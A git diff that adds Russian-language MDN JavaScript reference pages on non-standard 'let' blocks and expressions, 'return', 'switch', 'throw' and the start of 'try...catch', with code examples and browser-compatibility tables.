+<h2 id="Нестандартизированные_расширения_let">Нестандартизированные расширения <code>let</code></h2>
+
+<h3 id="let_блок"><code>let</code> блок</h3>
+
+<div class="warning">
+<p><code>Поддержка let</code> блоков была убрана в Gecko 44  {{bug(1023609)}}.</p>
+</div>
+
+<p><strong>let блок</strong> предоставляет способ, ассоциировать значения с перемеными внутри области видимости этого блока, без влияния на значения переменных с теми же именами вне этого блока.</p>
+
+<h4 id="Синтаксис_2">Синтаксис</h4>
+
+<pre class="brush: js">let (var1 [= value1] [, var2 [= value2]] [, ..., varN [= valueN]]) block;
+</pre>
+
+<h4 id="Описание_2">Описание</h4>
+
+<p><strong><code>let</code> </strong>блок предоставляет локальную область видимости для переменных. Работа его заключается в привязке нуля или более переменных к области видимости этого блока кода, другими словами, он является блоком операторов. Отметим, что область видимости переменных, объявленных директивой <code>var</code>, в <strong>блоке <code>let</code></strong>, будет той же самой, что и если бы эти переменные были объявленны вне <strong>блока <code>let</code></strong>, иными словами областью видимости таких переменных по-прежнему является функция. Скобки в<strong> блоке </strong><code><strong>let</strong></code> являются обязательными. Опускание их приведет к синтаксической ошибке.</p>
+
+<h4 id="Пример">Пример</h4>
+
+<pre class="brush:js">var x = 5;
+var y = 0;
+
+let (x = x+10, y = 12) {
+  console.log(x+y); // 27
+}
+
+console.log(x + y); // 5
+</pre>
+
+<p>Правила для этого блока кода аналогичны как и для любого другого блока кода в JavaScript. Он может содержать свои локальные переменные, объявленные <code>let</code>.</p>
+
+<h4 id="Правила_области_видимости_4">Правила области видимости</h4>
+
+<p>Областью видимости переменных, объявленных директивой <code>let</code>, в <strong>блоке </strong><code><strong>let</strong></code> является сам блок и все подблоки в нем, если они не содержат объявлений переменных с теми же именами. </p>
+
+<h3 id="let_выражения"><code>let</code> выражения</h3>
+
+<div class="warning">
+<p><code>Поддержка let выражений</code> была убрана в Gecko 41  {{bug(1023609)}}.</p>
+</div>
+
+<p><strong><code>let выражение</code></strong> позволяет объявить переменные с областью видимости ограниченной одним выражением.</p>
+
+<h4 id="Синтаксис_3">Синтаксис</h4>
+
+<pre class="syntaxbox">let (var1 [= value1] [, var2 [= value2]] [, ..., varN [= valueN]]) expression;</pre>
+
+<h4 id="Пример_2">Пример</h4>
+
+<p>Вы можете использовать let для объявления переменных, областью видимости которых является только одно выражение:</p>
+
+<pre class="brush: js">var a = 5;
+let(a = 6) console.log(a); // 6
+console.log(a); // 5</pre>
+
+<h4 id="Правила_области_видимости_5">Правила области видимости</h4>
+
+<p>В данном <strong><code>let</code> выражении</strong>:</p>
+
+<pre class="brush: js">let (<var>decls</var>) <var>expr</var>
+</pre>
+
+<p><em><code>expr</code> </em>оборачивается в неявный блок.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Первоначальное определение. Не описывает let выражения или let блоки.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p class="p1">{{CompatChrome(41.0)}}</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("1.8.1") }} [1]</td>
+   <td>11</td>
+   <td>17</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Temporal dead zone</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("35") }} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>let</code> expression {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("1.8.1") }} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>let</code> block {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("1.8.1") }} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p class="p1">{{CompatChrome(41.0)}}</p>
+   </td>
+   <td>{{ CompatGeckoMobile("1.8.1") }} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Temporal dead zone</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("35") }} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>let</code> expression {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("1.8.1") }} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>let</code> block {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("1.8.1") }} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="sect2"></h3>
+
+<h3 id="Особенности_Firefox">Особенности Firefox</h3>
+
+<ul>
+ <li>До SpiderMonkey 46 {{geckoRelease(46)}} выбрасывал {{jsxref("TypeError")}} на повторное объявление, вместо {{jsxref("SyntaxError")}} ({{bug(1198833)}}).</li>
+ <li>До SpiderMonkey 44 {{geckoRelease(44)}}, <code>let</code> был доступен только для блоков кода обернутых в HTML <code>&lt;script type="application/javascript;version=1.7"&gt;</code>block (or higher version) и имел другую сематнику.</li>
+ <li>Поддержка в {{domxref("Worker")}} код спрятан за <code>dom.workers.latestJSVersion</code> флагом ({{bug(487070)}}). Без версии <code>let</code>, флаг будет удален в будущем ({{bug(1219523)}}).</li>
+ <li>Соблюдение стандарта ES2015 для <code>let</code> в SpIderMonkey отслеживатся в {{bug(950547)}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/return/index.html b/files/ru/web/javascript/reference/statements/return/index.html
new file mode 100644
index 0000000000..107173c310
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/return/index.html
@@ -0,0 +1,156 @@
+---
+title: return
+slug: Web/JavaScript/Reference/Statements/return
+tags:
+  - JavaScript
+  - Оператор
+translation_of: Web/JavaScript/Reference/Statements/return
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Оператор <strong><code>return</code> </strong>завершает выполнение текущей функции и возвращает её значение.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-return.html")}}</div>
+
+<p class="hidden">Исходный код данного интерактивного примера хранится в репозитории на GitHub. Если вы хотите поучаствовать в проекте интерактивных примеров, пожалуйства, склонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на включение ваших изменений.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">return [[выражение]]; </pre>
+
+<dl>
+ <dt><code><font face="Consolas, Liberation Mono, Courier, monospace">выражение</font></code></dt>
+ <dd>Выражение, значение которого будет возвращено. Если не указано, вместо него возвращается <code>undefined</code>.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>При вызове оператора <code>return</code> в функции её выполнение прекращается. Указанное значение возвращается в место вызова функции. Например, приведенная ниже функция возвращает возведенное в квадрат значение своего аргумента, <code>x</code> (где <code>x</code> – это число):</p>
+
+<pre class="brush: js">function square(x) {
+   return x * x;
+}
+var demo = square(3);
+// значение demo будет равняться 9
+</pre>
+
+<p>Если возвращаемое значение не указано, вместо него возращается <code>undefined</code>.</p>
+
+<p>Следующие выражения всегда прерывают выполнение функции:</p>
+
+<pre class="brush: js">return;
+return true;
+return false;
+return x;
+return x + y / 3;
+</pre>
+
+<h3 id="Автоматическая_расстановка_точек_с_запятыми">Автоматическая расстановка точек с запятыми</h3>
+
+<p>На выражение <code>return</code> влияет <a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">автоматическая расстановка точек с запятыми (ASI)</a>. Разрыв строки не допускается между ключевым словом <code>return</code> и выражением.</p>
+
+<pre class="brush: js">return
+a + b;</pre>
+
+<p class="brush: js">трансформируется ASI в:</p>
+
+<pre class="brush: js">return;
+a + b;</pre>
+
+<p class="brush: js">В консоли появится предупреждение "unreachable code after return statement".</p>
+
+<div class="note">Начиная с Gecko 40 {{geckoRelease(40)}}, предупреждение в консоли появляется, если обнаружен недостижимый код после <code>return</code>.</div>
+
+<p>Для того, чтобы избежать данной проблемы (предотвратить ASI), можно использовать скобки:</p>
+
+<pre class="brush: js">return (
+  a + b;
+);</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Прерывание_функции">Прерывание функции</h3>
+
+<p><font face="Open Sans, Arial, sans-serif">Функция немедленно останавливается в точке, где вызывается </font><code>return</code>.</p>
+
+<pre class="brush: js">function counter() {
+  for (var count = 1; ; count++) {  // бесконечный цикл
+    console.log(count + "A"); // до 5
+      if (count === 5) {
+        return;
+      }
+      console.log(count + "B");  // до 4
+    }
+  console.log(count + "C");  // никогда не появляется
+}
+
+counter();
+
+// Выводит:
+// 1A
+// 1B
+// 2A
+// 2B
+// 3A
+// 3B
+// 4A
+// 4B
+// 5A
+</pre>
+
+<h3 id="Возвращение_функции">Возвращение функции</h3>
+
+<p>Смотрите также статью о <a href="/ru/docs/Web/JavaScript/Closures">замыканиях</a>.</p>
+
+<pre class="brush: js">function magic(x) {
+  return function calc(x) { return x * 42 };
+}
+
+var answer = magic();
+answer(1337); // 56154
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.9', 'Return statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-return-statement', 'Return statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-return-statement', 'Return statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на данной странице сгенерирована из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, получите их из репозитория <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на включение ваших изменений.</div>
+
+<p>{{Compat("javascript.statements.return")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Functions" title="En/Core_JavaScript_1.5_Reference/Functions">Функции</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Closures">Замыкания</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/switch/index.html b/files/ru/web/javascript/reference/statements/switch/index.html
new file mode 100644
index 0000000000..5d0ead0986
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/switch/index.html
@@ -0,0 +1,184 @@
+---
+title: switch
+slug: Web/JavaScript/Reference/Statements/switch
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/switch
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<h2 id="Сводка">Сводка</h2>
+
+<p><strong>Инструкция switch</strong> сравнивает выражение со случаями, перечисленными <font face="Courier New, Andale Mono, monospace">внутри неё</font>, а затем выполняет соответствующие инструкции.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">switch (expression) {
+  case value1:
+    //Здесь выполняются инструкции, если результат выражения равен value1
+    [break;]
+  case value2:
+    //Инструкции, соответствующие value2
+    [break;]
+  ...
+  case valueN:
+    //Инструкции, соответствующие значению valueN
+    //statementsN
+    [break;]
+  default:
+    //Здесь находятся инструкции, которые выполняются при отсутствии соответствующего значения
+    //statements_def
+    [break;]
+}</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>Выражение, значение которого сравнивается со всеми случаями.</dd>
+ <dt><code>case valueN</code></dt>
+ <dd>Случай, который проверяется на соответствие выражению (<code>expression</code>).</dd>
+ <dt><code>statementsN</code></dt>
+ <dd>Инструкции, которые выполняются, если <code>expression</code> соответствуют случаю.</dd>
+ <dt><code>statements_def</code></dt>
+ <dd>Инструкции, выполняемые если <code>expression</code> не соответствует ни одному случаю.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если выражение соответствует какому-то случаю, то выполняются инструкции этого случая. Если несколько случаев соответствуют значению, только первый случай будет использован.</p>
+
+<p>Сначала программа пытается найти подходящий случай, значение которого равно значению искомого выражения (используется <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">строгое сравнение</a>, <code>===)</code> и затем выполняет инструкции, соответствующие случаю. Если подходящего случая нет, ищется случай по умолчанию (<code>default</code>), который не является обязательным. Если случая по умолчанию нет, выполнение продолжается на инструкции, следующей сразу после <code>switch</code>. По соглашению, случай <code>default</code> описывается последним, но это не является строгим правилом.</p>
+
+<p>Опциональная инструкция <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/break" title="JavaScript/Reference/Statements/break">break</a></code> выполняет выход из блока <code>switch</code>. Она может располагаться в каждом из случаев, но не является обязательной. Если её нет, то выполняется следующая инструкция из блока <code>switch</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_switch" name="Example:_Using_switch">Пример: Использование <code>switch</code></h3>
+
+<p>В этом примере, если <code>expr</code> равно "Bananas", программа находит случай "Bananas" и выполняет соответствующие инструкции. При выполнении инструкции <code>break</code>, выполнение продолжится за пределами <code>switch</code>. Если бы <code>break</code> не было, то выполнились бы инструкции случая "Cherries".</p>
+
+<pre class="brush: js">switch (expr) {
+  case "Oranges":
+    console.log("Oranges are $0.59 a pound.");
+    break;
+  case "Apples":
+    console.log("Apples are $0.32 a pound.");
+    break;
+  case "Bananas":
+    console.log("Bananas are $0.48 a pound.");
+    break;
+  case "Cherries":
+    console.log("Cherries are $3.00 a pound.");
+    break;
+  case "Mangoes":
+  case "Papayas":
+    console.log("Mangoes and papayas are $2.79 a pound.");
+    break;
+  default:
+    console.log("Sorry, we are out of " + expr + ".");
+}
+
+console.log("Is there anything else you'd like?");
+</pre>
+
+<h3 id="What_happens_if_I_forgot_a_break" name="What_happens_if_I_forgot_a_break">Пример: Что случится, если не использовать break?</h3>
+
+<p>Если вы не использовали инструкцию <code>break</code>, то будут выполнены инструкции следующего случая. И проверка на соответствие выражению не будет выполняться.</p>
+
+<pre class="brush: js">var foo = 0;
+switch (foo) {
+    case -1:
+        console.log('negative 1');
+        break;
+    case 0: // foo равно 0, случай соответствует выражению и эти инструкции будут выполнены
+        console.log(0)
+        // ПРИМЕЧАНИЕ: здесь могла находиться забытая инструкция break
+    case 1: // В случае 'case 0:' не было break, инструкции данного случая также будут выполнены
+        console.log(1);
+        break; // В конце расположен break, поэтому выполнение не перейдёт к случаю 'case 2:'
+    case 2:
+        console.log(2);
+        break;
+    default:
+        console.log('default');
+}</pre>
+
+<h3 id="Methods_for_Multi-criteria_Case" name="Methods_for_Multi-criteria_Case">Пример: Использование нескольких значений для одного случая</h3>
+
+<p>Если вы хотите использовать один набор инструкций для соответствия нескольким случаям, можно использовать два способа. Первый способ является рекомендуемым, а второй - скорее трюком. Оба способа вызовут предупреждение с текстом "yes", если значение <code>foo</code> равно 0, 1, 2 или 3.</p>
+
+<p>Исходники этих способов здесь:</p>
+
+<ol>
+ <li><a href="http://stackoverflow.com/questions/13207927/switch-statement-multiple-cases-in-javascript">Switch statement multiple cases in JavaScript (Stack Overflow)</a></li>
+ <li><a href="http://stackoverflow.com/questions/21808543/multple-cripteria-single-case-switch-statement">Multiple Criteria Single Case Switch Statement (Stack Overflow)</a></li>
+</ol>
+
+<h4 id="Первый_способ">Первый способ</h4>
+
+<p>В первом способе используется то, что выполнение инструкции <code>switch</code> продолжится, если не использовать инструкцию <code>break</code>. Подробнее в примере "Что случится, если не использовать break?"</p>
+
+<pre class="brush: js">var foo = 1;
+switch (foo) {
+    case 0:
+    case 1:
+    case 2:
+    case 3:
+        alert('yes');
+        break;
+    default:
+        alert('not');
+}</pre>
+
+<h4 id="Второй_способ">Второй способ</h4>
+
+<p>Другой способ, менее стандартный; во второй строке, где вы ожидали увидеть <code>switch(foo)</code>, расположено постоянное значение <code>true</code>, и в случаях используются выражения вместо констант:</p>
+
+<pre class="brush: js">var foo = 1;
+switch (true) { // Постоянное значение true вместо foo
+    case foo &gt;= 0 &amp;&amp; foo &lt;= 3:
+        alert('yes');
+        break;
+    default:
+        alert('not');
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е Издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.<br>
+    Реализован в JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.11', 'Инструкция switch')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-switch-statement', 'Инструкция switch')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.statements.switch")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else" lang="ru"><code>if...else</code></a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/throw/index.html b/files/ru/web/javascript/reference/statements/throw/index.html
new file mode 100644
index 0000000000..7417c2f055
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/throw/index.html
@@ -0,0 +1,240 @@
+---
+title: throw
+slug: Web/JavaScript/Reference/Statements/throw
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/throw
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<h2 id="Основная_информация"><span class="short_text" id="result_box" lang="ru"><span class="alt-edited hps">Основная информация</span></span></h2>
+
+<p><strong>Инструкция <code>throw</code></strong> позволяет генерировать исключения, определяемые пользователем. При этом выполнение текущей функции будет остановлено (инструкции после <code>throw</code> не будут выполнены), и управление будет передано в первый блок <a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>catch</code></a> в стеке вызовов. Если <code>catch</code> блоков среди вызванных функций нет, выполнение программы будет остановлено.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">throw <em>выражение</em>; </pre>
+
+<dl>
+ <dt><code>выражение</code></dt>
+ <dd>Определяемое пользователем исключение.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Используйте инструкцию throw для генерирования исключения. Когда вы генерируете исключение (throw), <em>выражение</em> задает значение исключения. Каждое из следующих throw создает исключение:</p>
+
+<pre class="brush: js">throw "Error2"; // генерирует исключение, значением которого является строка
+throw 42;       // генерирует исключение, значением которого является число 42
+throw true;     // генерирует исключение, значением которого является логическое значение true</pre>
+
+<p>Также стоит отметить, что на инструкцию <code>throw</code> влияет <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">автоматическая вставка точки с запятой (ASI)</a>. Поэтому не допускаются разрывы строк между инструкцией <code>throw</code> и <code>выражением</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Throw_an_object" name="Example:_Throw_an_object">Пример: Генерирование объекта в качестве исключения</h3>
+
+<p>Можно указать объект в качестве исключения. Затем можно получить ссылку на этот объект и доступ ко всем его свойствам в блоке catch. Следующий пример создает объект ошибки, который имеет тип UserException, и используется для генерации исключения.</p>
+
+<pre class="brush: js">function UserException(message) {
+   this.message = message;
+   this.name = "Исключение, определенное пользователем";
+}
+function getMonthName(mo) {
+   mo = mo-1; // Нужно скорректировать номер месяца согласно индексам массива (1=Jan, 12=Dec)
+   var months = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul",
+      "Aug", "Sep", "Oct", "Nov", "Dec"];
+   if (months[mo] !== undefined) {
+      return months[mo];
+   } else {
+      throw new UserException("Неверно указан номер месяца");
+   }
+}
+
+try {
+   // statements to try
+   var myMonth = 15; // 15 находится вне границ массива, что приведет к исключению
+   var monthName = getMonthName(myMonth);
+} catch (e) {
+   monthName = "неизвестен";
+   logMyErrors(e.message, e.name); // передаем исключение в обработчик ошибок
+}
+</pre>
+
+<h3 id="Example:_Another_example_of_throwing_an_object" name="Example:_Another_example_of_throwing_an_object">Пример: Другой пример генерации объекта в виде исключения</h3>
+
+<p>Следующий пример проверяет, является ли строка, переданная в функцию, почтовым индексом США. Если индекс имеет недопустимый формат, будет сгенерировано исключение посредством создания объекта, имеющего тип <code>ZipCodeFormatException</code>.</p>
+
+<pre class="brush: js">/*
+ * Создает объект ZipCode.
+ *
+ * Допустимые форматы почтового индекса:
+ *    12345
+ *    12345-6789
+ *    123456789
+ *    12345 6789
+ *
+ * Если агрумент, переданный в констуктор ZipCode не совпадает
+ * ни с одним из этих форматов, будет брошено исключение.
+ */
+
+function ZipCode(zip) {
+   zip = new String(zip);
+   var pattern = /[0-9]{5}([- ]?[0-9]{4})?/;
+   if (pattern.test(zip)) {
+      // значение почтового индекса должно быть первым совпадением в строке
+      this.value = zip.match(pattern)[0];
+      this.valueOf = function() {
+         return this.value
+      };
+      this.toString = function() {
+         return String(this.value)
+      };
+   } else {
+      throw new ZipCodeFormatException(zip);
+   }
+}
+
+function ZipCodeFormatException(value) {
+   this.value = value;
+   this.message = "Почтовый индекс имеет недопустимый формат";
+   this.toString = function() {
+      return this.value + this.message
+   };
+}
+
+/*
+ * Это может быть скрипт, который проверяет значение адреса
+ * для США.
+ */
+
+var ZIPCODE_INVALID = -1;
+var ZIPCODE_UNKNOWN_ERROR = -2;
+
+function verifyZipCode(z) {
+   try {
+      z = new ZipCode(z);
+   } catch (e) {
+      if (e instanceof ZipCodeFormatException) {
+         return ZIPCODE_INVALID;
+      } else {
+         return ZIPCODE_UNKNOWN_ERROR;
+      }
+   }
+   return z;
+}
+
+a = verifyZipCode(95060);         // вернет 95060
+b = verifyZipCode(9560);          // вернет -1
+c = verifyZipCode("a");           // вернет -1
+d = verifyZipCode("95060");       // вернет 95060
+e = verifyZipCode("95060 1234");  // вернет 95060 1234
+</pre>
+
+<h3 id="Example:_Rethrow_an_exception" name="Example:_Rethrow_an_exception">Пример: Повторный выброс исключения</h3>
+
+<p>Можно использовать throw для повторного выброса исключения после того, как оно было поймано. В следующем примере ловится исключение с числовым значением и делается повторный выброс, если его значение больше 50.  Повторно выброшенное исключение передается далее в вызывающую функцию или до верхнего уровня, который видит пользователь.</p>
+
+<pre class="brush: js">try {
+   throw n; // бросаем исключение с числовым значением
+} catch (e) {
+   if (e &lt;= 50) {
+      // инструкции для обработки исключений со значениями в диапазоне 1-50
+   } else {
+      // необработанное исключение, делаем повторный выброс
+      throw e;
+   }
+}
+</pre>
+
+<h2 id="Спецификации"><span class="short_text" id="result_box" lang="ru"><span class="alt-edited hps">Спецификации</span></span></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition.<br>
+    Implemented in JavaScript 1.4</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.13', 'throw statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-throw-statement', 'throw statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-throw-statement', 'throw statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддерживаемые_браузеры"><span class="short_text" id="result_box" lang="ru"><span class="alt-edited hps">Поддерживаемые браузеры</span></span></h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also"><span class="short_text" id="result_box" lang="ru"><span class="hps">Смотрите также</span></span></h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>try...catch</code></a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/try...catch/index.html b/files/ru/web/javascript/reference/statements/try...catch/index.html
new file mode 100644
index 0000000000..3609136b03
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/try...catch/index.html
@@ -0,0 +1,422 @@
+---
+title: try...catch
+slug: Web/JavaScript/Reference/Statements/try...catch
+tags:
+  - JavaScript
+  - Исключение
+  - Ошибка
+translation_of: Web/JavaScript/Reference/Statements/try...catch
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Конструкция <code>try...catch</code> пытается выполнить инструкции в блоке <code>try</code>, и, в случае ошибки, выполняет блок <code>catch</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">try {
+   <em>try_statements</em>
+}
+[catch (<em>exception_var_1</em> if <em>condition_1</em>) { // не стандартно
+   <em>catch_statements_1</em>
+}]
+...
+[catch (<em>exception_var_2</em>) {
+   <em>catch_statements_2</em>
+}]
+[finally {
+   <em>finally_statements</em>
+}]
+</pre>
+
+<dl>
+ <dt><code>try_statements</code></dt>
+ <dd>Инструкции для выполнения.</dd>
+</dl>
+
+<dl>
+ <dt><code>catch_statements_1</code>, <code>catch_statements_2</code></dt>
+ <dd>
+ <p>Инструкции, которые будут выполнены, если произойдёт ошибка в блоке <code><font face="Consolas, Liberation Mono, Courier, monospace">try</font></code>.</p>
+ </dd>
+</dl>
+
+<dl>
+ <dt><code>exception_var_1</code>, <code>exception_var_2</code></dt>
+ <dd>Идентификатор для хранения объекта ошибки, который впоследствии используется в блоке <code>catch</code></dd>
+</dl>
+
+<dl>
+ <dt><code>condition_1</code></dt>
+ <dd>Условное выражение.</dd>
